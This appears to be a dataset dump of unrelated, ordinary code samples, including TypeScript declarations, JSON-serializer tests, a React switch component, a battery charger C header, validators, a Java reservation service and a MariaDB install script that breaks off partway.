text stringlengths 1 1.05M |
|---|
//
// Copyright 2016 Kary Foundation, Inc.
// Author: <NAME> <<EMAIL>>
//
//
// ─── NODE FS ────────────────────────────────────────────────────────────────────
//
declare function JoinPath ( addresses: string[ ] ): string;
// ────────────────────────────────────────────────────────────────────────────────
declare function ReadFile ( address: string,
func: ( error: NodeJS.ErrnoException,
data: string ) => void
);
// ────────────────────────────────────────────────────────────────────────────────
declare function ReadFileSync ( address: string ): string;
// ────────────────────────────────────────────────────────────────────────────────
declare function ReadDir ( address: string,
func: ( error: NodeJS.ErrnoException,
files: string[] ) => void
);
// ────────────────────────────────────────────────────────────────────────────────
declare function ReadDirSync ( address: string ): string[ ];
// ────────────────────────────────────────────────────────────────────────────────
declare function FSStatsSync ( address: string ): IFSStatsResult;
// ────────────────────────────────────────────────────────────────────────────────
declare function FSExistsSync ( address: string ): boolean;
// ────────────────────────────────────────────────────────────────────────────────
declare function MakeDirSync ( address );
//
// ─── PRISM JS ───────────────────────────────────────────────────────────────────
//
declare function PrismHighlight ( code: string ): string;
//
// ─── GET HOME DIR ───────────────────────────────────────────────────────────────
//
declare function GetHomeDir ( ): string;
//
// ─── NODE REQUIRE ───────────────────────────────────────────────────────────────
//
declare function NodeRequire ( module: string ): Object;
// ────────────────────────────────────────────────────────────────────────────────
//
// ─── NODE INNER DEFS ────────────────────────────────────────────────────────────
//
interface IFSStatsResult {
isFile ( ): boolean;
isDirectory ( ): boolean;
isBlockDevice ( ): boolean;
isCharacterDevice ( ): boolean;
isSymbolicLink ( ): boolean;
isFIFO ( ): boolean;
isSocket ( ): boolean;
}
// ──────────────────────────────────────────────────────────────────────────────── |
'use strict'
const { test } = require('tap')
const build = require('..')
test('object with multiple types field', (t) => {
t.plan(2)
const schema = {
title: 'object with multiple types field',
type: 'object',
properties: {
str: {
anyOf: [{
type: 'string'
}, {
type: 'boolean'
}]
}
}
}
const stringify = build(schema)
t.equal(stringify({
str: 'string'
}), '{"str":"string"}')
t.equal(stringify({
str: true
}), '{"str":true}')
})
test('object with field of type object or null', (t) => {
t.plan(2)
const schema = {
title: 'object with field of type object or null',
type: 'object',
properties: {
prop: {
anyOf: [{
type: 'object',
properties: {
str: {
type: 'string'
}
}
}, {
type: 'null'
}]
}
}
}
const stringify = build(schema)
t.equal(stringify({
prop: null
}), '{"prop":null}')
t.equal(stringify({
prop: {
str: 'string'
}
}), '{"prop":{"str":"string"}}')
})
test('object with field of type object or array', (t) => {
t.plan(2)
const schema = {
title: 'object with field of type object or array',
type: 'object',
properties: {
prop: {
anyOf: [{
type: 'object',
properties: {},
additionalProperties: true
}, {
type: 'array',
items: {
type: 'string'
}
}]
}
}
}
const stringify = build(schema)
t.equal(stringify({
prop: {
str: 'string'
}
}), '{"prop":{"str":"string"}}')
t.equal(stringify({
prop: ['string']
}), '{"prop":["string"]}')
})
test('object with field of type string and coercion disable ', (t) => {
t.plan(1)
const schema = {
title: 'object with field of type string',
type: 'object',
properties: {
str: {
anyOf: [{
type: 'string'
}]
}
}
}
const stringify = build(schema)
const value = stringify({
str: 1
})
t.equal(value, '{"str":null}')
})
test('object with field of type string and coercion enable ', (t) => {
t.plan(1)
const schema = {
title: 'object with field of type string',
type: 'object',
properties: {
str: {
anyOf: [{
type: 'string'
}]
}
}
}
const options = {
ajv: {
coerceTypes: true
}
}
const stringify = build(schema, options)
const value = stringify({
str: 1
})
t.equal(value, '{"str":"1"}')
})
test('object with field with type union of multiple objects', (t) => {
t.plan(2)
const schema = {
title: 'object with anyOf property value containing objects',
type: 'object',
properties: {
anyOfSchema: {
anyOf: [
{
type: 'object',
properties: {
baz: { type: 'number' }
},
required: ['baz']
},
{
type: 'object',
properties: {
bar: { type: 'string' }
},
required: ['bar']
}
]
}
},
required: ['anyOfSchema']
}
const stringify = build(schema)
t.equal(stringify({ anyOfSchema: { baz: 5 } }), '{"anyOfSchema":{"baz":5}}')
t.equal(stringify({ anyOfSchema: { bar: 'foo' } }), '{"anyOfSchema":{"bar":"foo"}}')
})
test('null value in schema', (t) => {
t.plan(0)
const schema = {
title: 'schema with null child',
type: 'string',
nullable: true,
enum: [null]
}
build(schema)
})
test('symbol value in schema', (t) => {
t.plan(4)
const ObjectKind = Symbol('LiteralKind')
const UnionKind = Symbol('UnionKind')
const LiteralKind = Symbol('LiteralKind')
const schema = {
kind: ObjectKind,
type: 'object',
properties: {
value: {
kind: UnionKind,
anyOf: [
{ kind: LiteralKind, type: 'string', enum: ['foo'] },
{ kind: LiteralKind, type: 'string', enum: ['bar'] },
{ kind: LiteralKind, type: 'string', enum: ['baz'] }
]
}
},
required: ['value']
}
const stringify = build(schema)
t.equal(stringify({ value: 'foo' }), '{"value":"foo"}')
t.equal(stringify({ value: 'bar' }), '{"value":"bar"}')
t.equal(stringify({ value: 'baz' }), '{"value":"baz"}')
t.equal(stringify({ value: 'qux' }), '{"value":null}')
})
test('anyOf and $ref together', (t) => {
t.plan(2)
const schema = {
type: 'object',
properties: {
cs: {
anyOf: [
{
$ref: '#/definitions/Option'
},
{
type: 'boolean'
}
]
}
},
definitions: {
Option: {
type: 'string'
}
}
}
const stringify = build(schema)
t.equal(stringify({ cs: 'franco' }), '{"cs":"franco"}')
t.equal(stringify({ cs: true }), '{"cs":true}')
})
test('anyOf and $ref: 2 levels are fine', (t) => {
t.plan(1)
const schema = {
type: 'object',
properties: {
cs: {
anyOf: [
{
$ref: '#/definitions/Option'
},
{
type: 'boolean'
}
]
}
},
definitions: {
Option: {
anyOf: [
{
type: 'number'
},
{
type: 'boolean'
}
]
}
}
}
const stringify = build(schema)
const value = stringify({ cs: 3 })
t.equal(value, '{"cs":3}')
})
test('anyOf and $ref: multiple levels should throw at build.', (t) => {
t.plan(3)
const schema = {
type: 'object',
properties: {
cs: {
anyOf: [
{
$ref: '#/definitions/Option'
},
{
type: 'boolean'
}
]
}
},
definitions: {
Option: {
anyOf: [
{
$ref: '#/definitions/Option2'
},
{
type: 'string'
}
]
},
Option2: {
type: 'number'
}
}
}
const stringify = build(schema)
t.equal(stringify({ cs: 3 }), '{"cs":3}')
t.equal(stringify({ cs: true }), '{"cs":true}')
t.equal(stringify({ cs: 'pippo' }), '{"cs":"pippo"}')
})
test('anyOf and $ref - multiple external $ref', (t) => {
t.plan(2)
const externalSchema = {
external: {
definitions: {
def: {
type: 'object',
properties: {
prop: { anyOf: [{ $ref: 'external2#/definitions/other' }] }
}
}
}
},
external2: {
definitions: {
internal: {
type: 'string'
},
other: {
type: 'object',
properties: {
prop2: { $ref: '#/definitions/internal' }
}
}
}
}
}
const schema = {
title: 'object with $ref',
type: 'object',
properties: {
obj: {
$ref: 'external#/definitions/def'
}
}
}
const object = {
obj: {
prop: {
prop2: 'test'
}
}
}
const stringify = build(schema, { schema: externalSchema })
const output = stringify(object)
JSON.parse(output)
t.pass()
t.equal(output, '{"obj":{"prop":{"prop2":"test"}}}')
})
test('anyOf looks for all of the array items', (t) => {
t.plan(1)
const schema = {
title: 'type array that may have any of declared items',
type: 'array',
items: {
anyOf: [
{
type: 'object',
properties: {
savedId: {
type: 'string'
}
},
required: ['savedId']
},
{
type: 'object',
properties: {
error: {
type: 'string'
}
},
required: ['error']
}
]
}
}
const stringify = build(schema)
const value = stringify([{ savedId: 'great' }, { error: 'oops' }])
t.equal(value, '[{"savedId":"great"},{"error":"oops"}]')
})
test('anyOf with enum with more than 100 entries', (t) => {
t.plan(1)
const schema = {
title: 'type array that may have any of declared items',
type: 'array',
items: {
anyOf: [
{
type: 'string',
enum: ['EUR', 'USD', ...(new Set([...new Array(200)].map(() => Math.random().toString(36).substr(2, 3)))).values()]
},
{ type: 'null' }
]
}
}
const stringify = build(schema)
const value = stringify(['EUR', 'USD', null])
t.equal(value, '["EUR","USD",null]')
})
test('anyOf object with field date-time of type string with format or null', (t) => {
t.plan(1)
const toStringify = new Date()
const withOneOfSchema = {
type: 'object',
properties: {
prop: {
anyOf: [{
type: 'string',
format: 'date-time'
}, {
type: 'null'
}]
}
}
}
const withOneOfStringify = build(withOneOfSchema)
t.equal(withOneOfStringify({
prop: toStringify
}), `{"prop":"${toStringify.toISOString()}"}`)
})
test('anyOf object with field date of type string with format or null', (t) => {
t.plan(1)
const toStringify = '2011-01-01'
const withOneOfSchema = {
type: 'object',
properties: {
prop: {
anyOf: [{
type: 'string',
format: 'date'
}, {
type: 'null'
}]
}
}
}
const withOneOfStringify = build(withOneOfSchema)
t.equal(withOneOfStringify({
prop: toStringify
}), '{"prop":"2011-01-01"}')
})
test('anyOf object with invalid field date of type string with format or null', (t) => {
t.plan(1)
const toStringify = 'foo bar'
const withOneOfSchema = {
type: 'object',
properties: {
prop: {
anyOf: [{
type: 'string',
format: 'date'
}, {
type: 'null'
}]
}
}
}
const withOneOfStringify = build(withOneOfSchema)
t.equal(withOneOfStringify({
prop: toStringify
}), '{"prop":null}')
})
|
<filename>src/utils/react-native-neu-element/lib/NeuSwitch.js
import React from 'react';
import NeuView from './NeuView';
import NeuButton from './NeuButton';
import PropTypes from 'prop-types';
const NeuSwitch = props => {
const {
isPressed,
setIsPressed,
customGradient,
color,
containerWidth,
containerHeight,
buttonWidth,
buttonHeight
} = props;
return (
<NeuView
color={color}
width={containerWidth}
height={containerHeight}
borderRadius={50}
concave
customGradient={isPressed && customGradient}
containerStyle={{
alignItems: isPressed ? 'flex-end' : 'flex-start'
}}
>
<NeuButton
color={color}
width={buttonWidth}
height={buttonHeight}
borderRadius={50}
// style={{marginHorizontal: 5}}
isPressed={isPressed}
setIsPressed={setIsPressed}
noPressEffect
convex
noShadow={customGradient && isPressed}
/>
</NeuView>
);
};
NeuSwitch.propTypes = {
isPressed: PropTypes.bool.isRequired,
setIsPressed: PropTypes.func.isRequired,
customGradient: PropTypes.array,
color: PropTypes.string.isRequired,
containerWidth: PropTypes.number.isRequired,
containerHeight: PropTypes.number.isRequired,
buttonWidth: PropTypes.number.isRequired,
buttonHeight: PropTypes.number.isRequired,
...NeuView.propTypes
};
export default NeuSwitch;
|
#ifndef AXP_CHARGER_H
#define AXP_CHARGER_H
#include <linux/power_supply.h>
#define BATRDC 100
#define INTCHGCUR 300000 /* set initial charging current limite */
#define SUSCHGCUR 1000000 /* set suspend charging current limite */
#define RESCHGCUR INTCHGCUR /* set resume charging current limite */
#define CLSCHGCUR SUSCHGCUR /* set shutdown charging current limite */
#define INTCHGVOL 4200000 /* set initial charing target voltage */
#define INTCHGENDRATE 10 /* set initial charing end current rate */
#define INTCHGENABLED 1 /* set initial charing enabled */
#define INTADCFREQ 25 /* set initial adc frequency */
#define INTADCFREQC 100 /* set initial coulomb adc coufrequency */
#define INTCHGPRETIME 50 /* set initial pre-charging time */
#define INTCHGCSTTIME 480 /* set initial pre-charging time */
#define BATMAXVOL 4200000 /* set battery max design volatge */
#define BATMINVOL 3500000 /* set battery min design volatge */
#define OCVREG0 0x00 /* 2.99V */
#define OCVREG1 0x00 /* 3.13V */
#define OCVREG2 0x00 /* 3.27V */
#define OCVREG3 0x00 /* 3.34V */
#define OCVREG4 0x00 /* 3.41V */
#define OCVREG5 0x00 /* 3.48V */
#define OCVREG6 0x00 /* 3.52V */
#define OCVREG7 0x00 /* 3.55V */
#define OCVREG8 0x04 /* 3.57V */
#define OCVREG9 0x05 /* 3.59V */
#define OCVREGA 0x06 /* 3.61V */
#define OCVREGB 0x07 /* 3.63V */
#define OCVREGC 0x0a /* 3.64V */
#define OCVREGD 0x0d /* 3.66V */
#define OCVREGE 0x1a /* 3.70V */
#define OCVREGF 0x24 /* 3.73V */
#define OCVREG10 0x29 /* 3.77V */
#define OCVREG11 0x2e /* 3.78V */
#define OCVREG12 0x32 /* 3.80V */
#define OCVREG13 0x35 /* 3.84V */
#define OCVREG14 0x39 /* 3.85V */
#define OCVREG15 0x3d /* 3.87V */
#define OCVREG16 0x43 /* 3.91V */
#define OCVREG17 0x49 /* 3.94V */
#define OCVREG18 0x4f /* 3.98V */
#define OCVREG19 0x54 /* 4.01V */
#define OCVREG1A 0x58 /* 4.05V */
#define OCVREG1B 0x5c /* 4.08V */
#define OCVREG1C 0x5e /* 4.10V */
#define OCVREG1D 0x60 /* 4.12V */
#define OCVREG1E 0x62 /* 4.14V */
#define OCVREG1F 0x64 /* 4.15V */
#define AXP_OF_PROP_READ(name, def_value)\
do {\
if (of_property_read_u32(node, #name, &axp_config->name))\
axp_config->name = def_value;\
} while (0)
struct axp_charger_dev;
enum AW_CHARGE_TYPE {
CHARGE_AC,
CHARGE_USB_20,
CHARGE_USB_30,
CHARGE_MAX
};
struct axp_config_info {
u32 pmu_used;
u32 pmu_id;
u32 pmu_battery_rdc;
u32 pmu_battery_cap;
u32 pmu_batdeten;
u32 pmu_chg_ic_temp;
u32 pmu_runtime_chgcur;
u32 pmu_suspend_chgcur;
u32 pmu_shutdown_chgcur;
u32 pmu_init_chgvol;
u32 pmu_init_chgend_rate;
u32 pmu_init_chg_enabled;
u32 pmu_init_bc_en;
u32 pmu_init_adc_freq;
u32 pmu_init_adcts_freq;
u32 pmu_init_chg_pretime;
u32 pmu_init_chg_csttime;
u32 pmu_batt_cap_correct;
u32 pmu_chg_end_on_en;
u32 ocv_coulumb_100;
u32 pmu_bat_para1;
u32 pmu_bat_para2;
u32 pmu_bat_para3;
u32 pmu_bat_para4;
u32 pmu_bat_para5;
u32 pmu_bat_para6;
u32 pmu_bat_para7;
u32 pmu_bat_para8;
u32 pmu_bat_para9;
u32 pmu_bat_para10;
u32 pmu_bat_para11;
u32 pmu_bat_para12;
u32 pmu_bat_para13;
u32 pmu_bat_para14;
u32 pmu_bat_para15;
u32 pmu_bat_para16;
u32 pmu_bat_para17;
u32 pmu_bat_para18;
u32 pmu_bat_para19;
u32 pmu_bat_para20;
u32 pmu_bat_para21;
u32 pmu_bat_para22;
u32 pmu_bat_para23;
u32 pmu_bat_para24;
u32 pmu_bat_para25;
u32 pmu_bat_para26;
u32 pmu_bat_para27;
u32 pmu_bat_para28;
u32 pmu_bat_para29;
u32 pmu_bat_para30;
u32 pmu_bat_para31;
u32 pmu_bat_para32;
u32 pmu_ac_vol;
u32 pmu_ac_cur;
u32 pmu_usbpc_vol;
u32 pmu_usbpc_cur;
u32 pmu_pwroff_vol;
u32 pmu_pwron_vol;
u32 pmu_powkey_off_time;
u32 pmu_powkey_off_en;
u32 pmu_powkey_off_delay_time;
u32 pmu_powkey_off_func;
u32 pmu_powkey_long_time;
u32 pmu_powkey_on_time;
u32 pmu_pwrok_time;
u32 pmu_pwrnoe_time;
u32 pmu_reset_shutdown_en;
u32 pmu_battery_warning_level1;
u32 pmu_battery_warning_level2;
u32 pmu_restvol_adjust_time;
u32 pmu_ocv_cou_adjust_time;
u32 pmu_chgled_func;
u32 pmu_chgled_type;
u32 pmu_vbusen_func;
u32 pmu_reset;
u32 pmu_irq_wakeup;
u32 pmu_hot_shutdown;
u32 pmu_inshort;
u32 power_start;
u32 pmu_as_slave;
u32 pmu_bat_unused;
u32 pmu_bat_temp_enable;
u32 pmu_bat_charge_ltf;
u32 pmu_bat_charge_htf;
u32 pmu_bat_shutdown_ltf;
u32 pmu_bat_shutdown_htf;
u32 pmu_bat_temp_para1;
u32 pmu_bat_temp_para2;
u32 pmu_bat_temp_para3;
u32 pmu_bat_temp_para4;
u32 pmu_bat_temp_para5;
u32 pmu_bat_temp_para6;
u32 pmu_bat_temp_para7;
u32 pmu_bat_temp_para8;
u32 pmu_bat_temp_para9;
u32 pmu_bat_temp_para10;
u32 pmu_bat_temp_para11;
u32 pmu_bat_temp_para12;
u32 pmu_bat_temp_para13;
u32 pmu_bat_temp_para14;
u32 pmu_bat_temp_para15;
u32 pmu_bat_temp_para16;
};
struct axp_ac_info {
int det_bit; /* ac detect */
int det_offset;
int valid_bit; /* ac vali */
int valid_offset;
int in_short_bit;
int in_short_offset;
int ac_vol;
int ac_cur;
int (*get_ac_voltage)(struct axp_charger_dev *cdev);
int (*get_ac_current)(struct axp_charger_dev *cdev);
int (*set_ac_vhold)(struct axp_charger_dev *cdev, int vol);
int (*get_ac_vhold)(struct axp_charger_dev *cdev);
int (*set_ac_ihold)(struct axp_charger_dev *cdev, int cur);
int (*get_ac_ihold)(struct axp_charger_dev *cdev);
};
struct axp_usb_info {
int det_bit;
int det_offset;
int valid_bit;
int valid_offset;
int det_unused;
int usb_pc_vol;
int usb_pc_cur;
int usb_ad_vol;
int usb_ad_cur;
int (*get_usb_voltage)(struct axp_charger_dev *cdev);
int (*get_usb_current)(struct axp_charger_dev *cdev);
int (*set_usb_vhold)(struct axp_charger_dev *cdev, int vol);
int (*get_usb_vhold)(struct axp_charger_dev *cdev);
int (*set_usb_ihold)(struct axp_charger_dev *cdev, int cur);
int (*get_usb_ihold)(struct axp_charger_dev *cdev);
};
struct axp_battery_info {
int chgstat_bit;
int chgstat_offset;
int det_bit;
int det_offset;
int det_valid_bit;
int det_valid;
int det_unused;
int cur_direction_bit;
int cur_direction_offset;
int polling_delay;
int runtime_chgcur;
int suspend_chgcur;
int shutdown_chgcur;
int (*get_rest_cap)(struct axp_charger_dev *cdev);
int (*get_bat_health)(struct axp_charger_dev *cdev);
int (*get_vbat)(struct axp_charger_dev *cdev);
int (*get_ibat)(struct axp_charger_dev *cdev);
int (*get_disibat)(struct axp_charger_dev *cdev);
int (*set_chg_cur)(struct axp_charger_dev *cdev, int cur);
int (*set_chg_vol)(struct axp_charger_dev *cdev, int vol);
int (*pre_time_set)(struct axp_charger_dev *cdev, int min);
int (*pos_time_set)(struct axp_charger_dev *cdev, int min);
};
struct axp_supply_info {
struct axp_ac_info *ac;
struct axp_usb_info *usb;
struct axp_battery_info *batt;
};
struct axp_charger_dev {
struct power_supply batt;
struct power_supply ac;
struct power_supply usb;
struct power_supply_info *battery_info;
struct axp_supply_info *spy_info;
struct device *dev;
struct axp_dev *chip;
struct timer_list usb_status_timer;
struct delayed_work work;
struct delayed_work usbwork;
unsigned int interval;
spinlock_t charger_lock;
int rest_vol;
int usb_vol;
int usb_cur;
int ac_vol;
int ac_cur;
int bat_vol;
int bat_cur;
int bat_discur;
bool bat_det;
bool ac_det;
bool usb_det;
bool ac_valid;
bool usb_valid;
bool ext_valid;
bool in_short;
bool charging;
bool ac_charging;
bool usb_pc_charging;
bool usb_adapter_charging;
bool bat_current_direction;
void (*private_debug)(struct axp_charger_dev *cdev);
};
struct axp_adc_res {
uint16_t vbat_res;
uint16_t ocvbat_res;
uint16_t ibat_res;
uint16_t ichar_res;
uint16_t idischar_res;
uint16_t vac_res;
uint16_t iac_res;
uint16_t vusb_res;
uint16_t iusb_res;
uint16_t ts_res;
};
struct axp_charger_dev *axp_power_supply_register(struct device *dev,
struct axp_dev *axp_dev,
struct power_supply_info *battery_info,
struct axp_supply_info *info);
void axp_power_supply_unregister(struct axp_charger_dev *chg_dev);
void axp_change(struct axp_charger_dev *chg_dev);
void axp_usbac_in(struct axp_charger_dev *chg_dev);
void axp_usbac_out(struct axp_charger_dev *chg_dev);
void axp_capchange(struct axp_charger_dev *chg_dev);
void axp_charger_suspend(struct axp_charger_dev *chg_dev);
void axp_charger_resume(struct axp_charger_dev *chg_dev);
void axp_charger_shutdown(struct axp_charger_dev *chg_dev);
int axp_charger_dt_parse(struct device_node *node,
struct axp_config_info *axp_config);
extern int axp_debug;
#endif /* AXP_ChARGER_H */
|
import { browser } from 'webextension-polyfill-ts';
import { resultsCode } from '@/utils/resultsCode';
export type settings = {
readonly version: number;
extraTime: number;
};
let vSettings: settings;
export const defaultSettings: settings = {
version: 1,
extraTime: 1,
};
const getCurrentVersionMainNumber: () => number = () => {
const { version } = browser.runtime.getManifest();
return parseInt(version.split('.')[0]) || 1;
};
const integrityCheck: (obj: object) => boolean = obj => {
return (
Object.keys(defaultSettings).toString() === Object.keys(obj).toString()
);
};
export enum extendResultOfSettingsCheck {
'UPDATED' = 3,
}
export const checkSettings: (
settings: any,
) => Promise<resultsCode | extendResultOfSettingsCheck> = async settings => {
if (!settings || typeof settings !== 'object' || !integrityCheck(settings)) {
try {
await browser.storage.local.set({ settings: defaultSettings });
vSettings = settings;
} catch (e) {
console.error(e);
return resultsCode.INTERNAL_ERROR;
}
return resultsCode.SUCCESS;
} else if (settings.version < getCurrentVersionMainNumber()) {
// Migrant old version's settings to new version
vSettings = settings;
return extendResultOfSettingsCheck.UPDATED;
} else {
vSettings = settings;
return resultsCode.SUCCESS;
}
};
|
#!/usr/bin/env bash
set -o pipefail
set -o nounset
set -m
# variables
# #########
# uncomment it, change it or get it from gh-env vars (default behaviour: get from gh-env)
# export KUBECONFIG=/root/admin.kubeconfig
# Load common vars
source ${WORKDIR}/shared-utils/common.sh
source ./common.sh hub
MODE=${1}
if [[ ${MODE} == 'hub' ]]; then
TARGET_KUBECONFIG=${KUBECONFIG_HUB}
elif [[ ${MODE} == 'spoke' ]]; then
TARGET_KUBECONFIG=${SPOKE_KUBECONFIG}
fi
podman login ${DESTINATION_REGISTRY} -u ${REG_US} -p ${REG_PASS} --authfile=${PULL_SECRET} # to create a merge with the registry original adding the registry auth entry
if [[ $(oc --kubeconfig=${TARGET_KUBECONFIG} adm release info "${DESTINATION_REGISTRY}"/"${OCP_DESTINATION_REGISTRY_IMAGE_NS}":"${OCP_RELEASE_FULL}"-x86_64 --registry-config="${PULL_SECRET}" | wc -l) -gt 1 ]]; then ## line 1 == error line. If found image should show more information (>1 line)
#Everyting is ready
exit 0
fi
#image has not been pulled and does not exist. Launching the step to create it...
exit 1
|
def median(data):
data = sorted(data)
if len(data) % 2 == 0:
return (data[int(len(data)/2)-1] + data[int(len(data)/2)]) / 2
else:
return data[int(len(data)/2)] |
<reponame>anXieTyPB/w3gsite
const {celebrate, Joi} = require('celebrate');
module.exports = {
replayCollection: celebrate({
query: Joi.object({
page: Joi.number()
.optional()
.default(1)
.min(1),
pageSize: Joi.number()
.optional()
.default(20)
.min(5)
})
}),
userLogin: celebrate({
body: Joi.object({
username: Joi.string().required(),
password: Joi.string().required()
})
})
};
|
import HalinContext from '../api/HalinContext';
import collection from '../api/diagnostic/collection/index';
import sentry from '../api/sentry/index';
/* eslint-disable no-console */
const ctx = new HalinContext();
const gatherDiagnosticsAndQuit = halin => {
return collection.runDiagnostics(halin)
.then(data => {
// Regular console, **not** sentry because we want the data raw dumped.
console.log(JSON.stringify(data));
return halin.shutdown();
})
.then(() => process.exit(0))
.catch(err => {
sentry.error('Failed to gather diagnostics', err);
process.exit(1);
});
};
ctx.initialize()
.then(ctx =>
// It's useful to have some ticks and not gather immediately.
// This lets us gather some ping stats and other response time
// stats.
setTimeout(() => gatherDiagnosticsAndQuit(ctx),
process.env.WAIT_TIME || 5000))
.catch(err => {
sentry.error('Fatal error',err);
process.exit(1);
}); |
<gh_stars>1-10
import { hashPassword, matchPassword } from "../../src/controllers/users";
import assert from "assert";
function verifyPasswordHashing() {
let password1 = "<PASSWORD>";
let password2 = "<PASSWORD>";
let hashedPassword1 = hashPassword(password1);
let hashedPassword2 = hashPassword(password2);
assert(
matchPassword(hashedPassword1, password1),
"Salted hashed values can be matched"
);
assert(
matchPassword(hashedPassword2, password2),
"Salted hashed values can be matched"
);
assert(
hashedPassword1 !== hashPassword(password1),
"Different salted hashed values with the same input password"
);
assert(
hashedPassword2 !== hashPassword(password2),
"Different salted hashed values with the same input password"
);
}
test("Password hashing and salting test", verifyPasswordHashing);
|
/*
* LiskHQ/lisk-commander
* Copyright © 2021 Lisk Foundation
*
* See the LICENSE file at the top-level directory of this distribution
* for licensing information.
*
* Unless otherwise agreed in a custom licensing agreement with the Lisk Foundation,
* no part of this software, including this file, may be copied, modified,
* propagated, or distributed except according to the terms contained in the
* LICENSE file.
*
* Removal or modification of this copyright notice is prohibited.
*
*/
import { join } from 'path';
import * as Generator from 'yeoman-generator';
interface InitPluginPrompts {
author: string;
version: string;
name: string;
description: string;
license: string;
}
interface InitPluginGeneratorOptions {
name: string;
}
export default class InitPluginGenerator extends Generator {
protected _answers: InitPluginPrompts | undefined;
protected _templatePath: string;
protected _className: string;
protected _name: string;
public constructor(args: string | string[], opts: InitPluginGeneratorOptions) {
super(args, opts);
this._templatePath = join(__dirname, '..', 'templates', 'init_plugin');
this._name = (this.options as InitPluginGeneratorOptions).name;
this._className = `${this._name.charAt(0).toUpperCase() + this._name.slice(1)}Plugin`;
}
async prompting(): Promise<void> {
this._answers = (await this.prompt([
{
type: 'input',
name: 'name',
message: 'Name of plugin',
default: this._name,
},
{
type: 'input',
name: 'description',
message: 'Description of plugin',
default: 'A plugin for an application created by Lisk SDK',
},
{
type: 'input',
name: 'license',
message: 'License of plugin',
default: 'ISC',
},
])) as InitPluginPrompts;
}
public createSkeleton(): void {
this.fs.copyTpl(
`${this._templatePath}/**/*`,
// Instead of using `destinationPath`, we use `destinationRoot` due to the large number of files for convenience
// The generated file names can be updated manually by the user to their liking e.g. "myPluginName.ts"
this.destinationRoot(),
{
className: this._className,
author: this._answers?.author,
version: this._answers?.version,
name: this._answers?.name,
description: this._answers?.description,
license: this._answers?.license,
},
{},
{ globOptions: { dot: true, ignore: ['.DS_Store'] } },
);
}
}
|
<gh_stars>0
package com.epul.oeuvre.persistence.service;
import com.epul.oeuvre.domains.*;
import com.epul.oeuvre.persistence.repositories.RepositoryEntityReservation;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import javax.persistence.EntityManager;
import java.sql.Date;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.time.LocalDate;
import java.time.format.DateTimeFormatter;
import java.util.Calendar;
import java.util.List;
@Service
public class ServiceReservation {
@Autowired
private RepositoryEntityReservation repositoryEntityReservation;
public void addReservation(EntityOeuvrevente oeuvrevente, EntityAdherent adherent, EntityProprietaire proprietaire){
Date now = new Date(java.lang.System.currentTimeMillis());
repositoryEntityReservation.addReservation(oeuvrevente.getIdOeuvrevente(),
adherent.getIdAdherent(),
now,
"en attente",
proprietaire.getIdProprietaire()
);
/*EntityReservation temp = new EntityReservation();
temp.setOeuvreventeByIdOeuvrevente(oeuvrevente);
temp.setAdherentByIdAdherent(adherent);
temp.setProprietaireByIdProprietaire(proprietaire);
temp.setStatut("en attente");
temp.setDateReservation(now);
repositoryEntityReservation.save(temp);*/
}
@Transactional
public void deleteReservation(EntityAdherent adherent, EntityOeuvrevente oeuvrevente){
repositoryEntityReservation.deleteByAdherentByIdAdherentAndOeuvreventeByIdOeuvrevente(adherent,oeuvrevente);
}
@Transactional
public void updateStatut(EntityAdherent adherent, EntityOeuvrevente oeuvrevente, String statut){
repositoryEntityReservation.updateStatutReservation(oeuvrevente.getIdOeuvrevente(),
adherent.getIdAdherent(),
statut);
}
public List<EntityReservation> getReservationsByAdherent(EntityAdherent adherent){
return repositoryEntityReservation.findAllByAdherentByIdAdherent(adherent);
}
public List<EntityReservation> getReservationsByProprietaire(EntityProprietaire proprietaire){
return repositoryEntityReservation.findAllByProprietaireByIdProprietaire(proprietaire);
}
}
|
#!/bin/bash
# Author: yeho <lj2007331 AT gmail.com>
# BLOG: https://blog.linuxeye.cn
#
# Notes: OneinStack for CentOS/RadHat 6+ Debian 6+ and Ubuntu 12+
#
# Project home page:
# https://oneinstack.com
# https://github.com/lj2007331/oneinstack
Install_MariaDB55() {
pushd ${oneinstack_dir}/src > /dev/null
id -u mysql >/dev/null 2>&1
[ $? -ne 0 ] && useradd -M -s /sbin/nologin mysql
[ ! -d "${mariadb_install_dir}" ] && mkdir -p ${mariadb_install_dir}
mkdir -p ${mariadb_data_dir};chown mysql.mysql -R ${mariadb_data_dir}
if [ "${dbinstallmethod}" == "1" ]; then
tar zxf mariadb-${mariadb55_ver}-${GLIBC_FLAG}-${SYS_BIT_b}.tar.gz
mv mariadb-${mariadb55_ver}-*-${SYS_BIT_b}/* ${mariadb_install_dir}
sed -i 's@executing mysqld_safe@executing mysqld_safe\nexport LD_PRELOAD=/usr/local/lib/libjemalloc.so@' ${mariadb_install_dir}/bin/mysqld_safe
sed -i "s@/usr/local/mysql@${mariadb_install_dir}@g" ${mariadb_install_dir}/bin/mysqld_safe
elif [ "${dbinstallmethod}" == "2" ]; then
tar xzf mariadb-${mariadb55_ver}.tar.gz
pushd mariadb-${mariadb55_ver}
[ "${armplatform}" == "y" ] && patch -p1 < ../mysql-5.5-fix-arm-client_plugin.patch
cmake . -DCMAKE_INSTALL_PREFIX=${mariadb_install_dir} \
-DMYSQL_DATADIR=${mariadb_data_dir} \
-DSYSCONFDIR=/etc \
-DWITH_INNOBASE_STORAGE_ENGINE=1 \
-DWITH_PARTITION_STORAGE_ENGINE=1 \
-DWITH_FEDERATED_STORAGE_ENGINE=1 \
-DWITH_BLACKHOLE_STORAGE_ENGINE=1 \
-DWITH_MYISAM_STORAGE_ENGINE=1 \
-DWITH_READLINE=1 \
-DWITH_EMBEDDED_SERVER=1 \
-DENABLE_DTRACE=0 \
-DENABLED_LOCAL_INFILE=1 \
-DDEFAULT_CHARSET=utf8mb4 \
-DDEFAULT_COLLATION=utf8mb4_general_ci \
-DEXTRA_CHARSETS=all \
-DCMAKE_EXE_LINKER_FLAGS='-ljemalloc'
make -j ${THREAD}
make install
popd
fi
if [ -d "${mariadb_install_dir}/support-files" ]; then
sed -i "s+^dbrootpwd.*+dbrootpwd='${dbrootpwd}'+" ../options.conf
echo "${CSUCCESS}MariaDB installed successfully! ${CEND}"
if [ "${dbinstallmethod}" == "1" ]; then
rm -rf mariadb-${mariadb55_ver}-*-${SYS_BIT_b}
elif [ "${dbinstallmethod}" == "2" ]; then
rm -rf mariadb-${mariadb55_ver}
fi
else
rm -rf ${mariadb_install_dir}
rm -rf mariadb-${mariadb55_ver}
